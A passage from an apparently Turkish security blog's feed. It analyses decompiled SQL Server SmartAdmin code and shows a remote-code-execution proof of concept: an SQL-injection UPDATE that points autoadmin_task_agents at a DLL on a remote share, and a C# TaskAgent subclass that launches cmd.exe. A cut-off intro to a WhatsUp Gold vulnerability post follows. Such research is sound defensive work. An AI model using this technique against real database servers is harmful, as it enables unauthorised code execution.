&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;						}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.DebugLog(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;TaskMetadataService.GetTasks: Getting task details.\n&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#66d9ef&#34;&gt;using&lt;/span&gt; (SqlCommand sqlCommand2 = &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; SqlCommand(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;SELECT * FROM autoadmin_task_agents&amp;#34;&lt;/span&gt;, privateConnection))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;						&lt;span style=&#34;color:#66d9ef&#34;&gt;using&lt;/span&gt; (SqlDataReader sqlDataReader2 = sqlCommand2.ExecuteReader())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;						{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;							&lt;span style=&#34;color:#66d9ef&#34;&gt;while&lt;/span&gt; (sqlDataReader2.Read())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;							{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;								array[num].binaryName = sqlDataReader2.GetString(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;								array[num].binaryPath = sqlDataReader2.GetString(&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;								array[num].className = sqlDataReader2.GetString(&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;								num++;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;							}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;						}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;run&#34;&gt;Run&lt;/h3&gt;
&lt;p&gt;&lt;img src=&#34;https://exploit7.tr/resource/run.png&#34; alt=&#34;run&#34;&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;GetTaskAgentDescriptors&lt;/code&gt; methodunu cagirarak task agent descriptors kisimlarini aliyor ve arraya atiyor.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GetTaskAgentDescriptors&lt;/code&gt; methodunun gorevi sql baglantisi kurup &lt;code&gt;autoadmin_task_agents&lt;/code&gt; tablosuna count atiyor ardindan &lt;code&gt;autoadmin_task_agents&lt;/code&gt; tablosuna select atiyor.&lt;/li&gt;
&lt;li&gt;Select sorgusundan donen her veriyi &lt;code&gt;binaryName&lt;/code&gt;,&lt;code&gt;binaryPath&lt;/code&gt;,&lt;code&gt;className&lt;/code&gt; degerlerini &lt;code&gt;taskAgentDescriptor&lt;/code&gt; arrayina atiyor.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;Run&lt;/code&gt; methodunda onemli ve bizi ilgilendiren kisim else bolumu.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-csharp&#34; data-lang=&#34;csharp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Type type = assembly.GetType(taskAgentDescriptor.className);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;						&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (type == &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt; || !type.IsSubclassOf(&lt;span style=&#34;color:#66d9ef&#34;&gt;typeof&lt;/span&gt;(TaskAgent)))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;						{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;							&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.loggerService.Log(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;[SmartAdmin] Task agent &amp;#34;&lt;/span&gt; + taskAgentDescriptor.binaryName + &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34; was loaded but is not compatible with the current version of SqlAutAdmin&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;						}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;						&lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;						{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;							&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.DebugLog(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;SmartAdminManager.Run: Creating task instance.\n&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;							&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.taskAgents[i] = (TaskAgent)assembly.CreateInstance(type.FullName);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;							&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.DebugLog(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;SmartAdminManager.Run: Starting the task.\n&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;							&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.taskAgents[i].Start(&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;							array[i] = &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; Thread(&lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; ThreadStart(&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.taskAgents[i].DoWork));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;							array[i].Name = &lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.taskAgents[i].GetName();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;							&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.DebugLog(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;SmartAdminManager.Run: Starting the task thread.\n&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;							array[i].Start();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;&lt;code&gt;assembly.GetType(taskAgentDescriptor.className)&lt;/code&gt; ile assembly&amp;rsquo;den &lt;code&gt;taskAgentDescriptor.className&lt;/code&gt; type degerini aliyor.&lt;/li&gt;
&lt;li&gt;Alinan type degeri null ise veya typeof ile &lt;code&gt;TaskAgent&lt;/code&gt; classindan mi aliyor.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CreateInstance&lt;/code&gt; type&amp;rsquo;daki FullName&amp;rsquo;i alir. (Not:&lt;code&gt;CreateInstance&lt;/code&gt; c# da belirli bir class,struct degerlerinin dinamik instance olusturmak icin kullanir.)&lt;/li&gt;
&lt;li&gt;Ardindan &lt;code&gt;Start&lt;/code&gt; metoduna gonderir.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;issubclassof&#34;&gt;IsSubclassOf&lt;/h3&gt;
&lt;p&gt;IsSubclassOf bir reflection methodudur. Biraz buna baktigimda gordum ki belirli bir type degerinin baska bir type&amp;rsquo;in (class&amp;rsquo;in) alt sinifi olup olmadigini kontrol ediyor bu kodda da bize type bypass kolayligi sagliyor.&lt;/p&gt;
&lt;h3 id=&#34;taskagent&#34;&gt;TaskAgent&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-csharp&#34; data-lang=&#34;csharp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;using&lt;/span&gt; System;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;namespace&lt;/span&gt; Microsoft.SqlServer.SmartAdmin
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#75715e&#34;&gt;// Token: 0x0200002B RID: 43&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;abstract&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;TaskAgent&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#75715e&#34;&gt;// Token: 0x0600010A RID: 266&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;abstract&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; Start(IServicesFactory services);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#75715e&#34;&gt;// Token: 0x0600010B RID: 267&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;abstract&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; Stop();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#75715e&#34;&gt;// Token: 0x0600010C RID: 268&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;abstract&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; DoWork();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#75715e&#34;&gt;// Token: 0x0600010D RID: 269&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;abstract&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; ExternalJob(&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; command, LogBaseService jobLogger);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#75715e&#34;&gt;// Token: 0x0600010E RID: 270 RVA: 0x000060B8 File Offset: 0x000050B8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; GetName()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.taskAgentSignature;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#75715e&#34;&gt;// Token: 0x040000C8 RID: 200&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#66d9ef&#34;&gt;protected&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; taskAgentSignature;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;exploit7-bolumu&#34;&gt;Exploit7 Bolumu&lt;/h3&gt;
&lt;p&gt;Sql injection uzerinden stack query varsa yapilabilir.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;update autoadmin_task_agents set task_assembly_name = &amp;quot;class.dll&amp;quot;, task_assembly_path=&amp;quot;\\remote-server\\ping.dll&amp;quot;,className=&amp;quot;Class1.Class1&amp;quot;;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Microsoft.SqlServer.SmartAdmin&lt;/code&gt; TaskAgent classindan bir class turetelim.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-csharp&#34; data-lang=&#34;csharp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;using&lt;/span&gt; Microsoft.SqlServer.SmartAdmin;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;using&lt;/span&gt; System;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;using&lt;/span&gt; System.Diagnostics;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;namespace&lt;/span&gt; Class1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Class1&lt;/span&gt; : TaskAgent
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; Class1()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            Process process = &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; Process();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            process.StartInfo.FileName = &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;cmd.exe&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            process.StartInfo.Arguments = &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/c ping localhost -t&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            process.StartInfo.UseShellExecute = &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            process.StartInfo.RedirectStandardOutput = &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            process.Start();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            process.WaitForExit();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;override&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; DoWork()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;override&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; ExternalJob(&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; command, LogBaseService jobLogger)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;override&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; Start(IServicesFactory services)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;override&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; Stop()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; Test()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&#34;https://exploit7.tr/resource/rcesql.gif&#34; alt=&#34;rce&#34;&gt;&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>WhatsUp Gold Unauth Series</title>
      <link>https://exploit7.tr/posts/whatsupgold/</link>
      <pubDate>Thu, 10 Oct 2024 11:00:00 +0400</pubDate>
      
      <guid>https://exploit7.tr/posts/whatsupgold/</guid>
      <description>&lt;h2 id=&#34;whatsup-gold-unauth-series&#34;&gt;WhatsUp Gold Unauth Series&lt;/h2&gt;
&lt;p&gt;WhatsUp Gold Progress firmasi tarafindan gelistirilmis network monitoring aracidir, bu urunu incelemeye basladigimda buldugum aciklari bildirmek icin biraz gec kaldim, elimde sadece daha once yazdigim bu yazi kaldi, yaziyi da duzenleyip, detaylandirip paylasiyorum. Bu aciklardan bir kac tanesini  &lt;a href=&#34;https://x.com/SinSinology&#34;&gt;SinSinology&lt;/a&gt; (blogu) &lt;a href=&#34;https://summoning.team/advisories/&#34;&gt;summoning.team&lt;/a&gt; adli ve diger arastirmaci arkadaslar blog olarak yayinladi bende kendi buldugum kadariyla paylasmak istiyorum keyifli okumalar.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://exploit7.tr/resource/zdi.png&#34; alt=&#34;LOAD&#34;&gt;&lt;/p&gt;
&lt;p&gt;Not: WhatsUp Gold&amp;rsquo;un eski surumu oldugu icin tekrar indiremedim eski exesi duruyormus fakat lisans problemi vs ile karsilastim bu yuzden yazimda eski oldugu icin bazi kodlar eksik.&lt;/p&gt;</description>
      <content>&lt;h2 id=&#34;whatsup-gold-unauth-series&#34;&gt;WhatsUp Gold Unauth Series&lt;/h2&gt;
&lt;p&gt;WhatsUp Gold Progress firmasi tarafindan gelistirilmis network monitoring aracidir, bu urunu incelemeye basladigimda buldugum aciklari bildirmek icin biraz gec kaldim, elimde sadece daha once yazdigim bu yazi kaldi, yaziyi da duzenleyip, detaylandirip paylasiyorum. Bu aciklardan bir kac tanesini  &lt;a href=&#34;https://x.com/SinSinology&#34;&gt;SinSinology&lt;/a&gt; (blogu) &lt;a href=&#34;https://summoning.team/advisories/&#34;&gt;summoning.team&lt;/a&gt; adli ve diger arastirmaci arkadaslar blog olarak yayinladi bende kendi buldugum kadariyla paylasmak istiyorum keyifli okumalar.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://exploit7.tr/resource/zdi.png&#34; alt=&#34;LOAD&#34;&gt;&lt;/p&gt;
&lt;p&gt;Not: WhatsUp Gold&amp;rsquo;un eski surumu oldugu icin tekrar indiremedim eski exesi duruyormus fakat lisans problemi vs ile karsilastim bu yuzden yazimda eski oldugu icin bazi kodlar eksik.&lt;/p&gt;
&lt;h3 id=&#34;whatsup-gold-extensions&#34;&gt;WhatsUp Gold Extensions&lt;/h3&gt;
&lt;p&gt;WhatsUp Gold&amp;rsquo;da birden fazla extension defaultta kurulu gelmektedir 2023.1.1 - 2023.1.3&amp;rsquo;e kadar olan surumlerde bu eklentiler vardir (2023.1.3&amp;rsquo;de APM WUG eklentilerindeki aciklari fixlediler.) &lt;code&gt;Agent&lt;/code&gt;,&lt;code&gt;APM&lt;/code&gt;,&lt;code&gt;Common&lt;/code&gt;,&lt;code&gt;FlowMonitor&lt;/code&gt;,&lt;code&gt;Wireless&lt;/code&gt;,&lt;code&gt;WUG&lt;/code&gt;. (yanlis bilgi vermemek acisindan hatirladigim extensionlar bunlar)&lt;/p&gt;
&lt;h3 id=&#34;vuln-trace-wug&#34;&gt;Vuln Trace (WUG)&lt;/h3&gt;
&lt;p&gt;WhatsUp Gold WUG eklentisi admin islemleri, database baglantisi, error yonetimi vs&amp;hellip; sorumlu eklentidir.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;SessionController LoadPlugin =&amp;gt; LoadUsingBasePath =&amp;gt; LoadPluginFromFile&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;SessionController kontrollerinde &lt;code&gt;LoadPlugin&lt;/code&gt; methodu var LoadPlugin name,title,sParams adinda parametreler aliyor ve &lt;code&gt;LoadUsingBasePath&lt;/code&gt; methoduna gonderiyor.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-csharp&#34; data-lang=&#34;csharp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
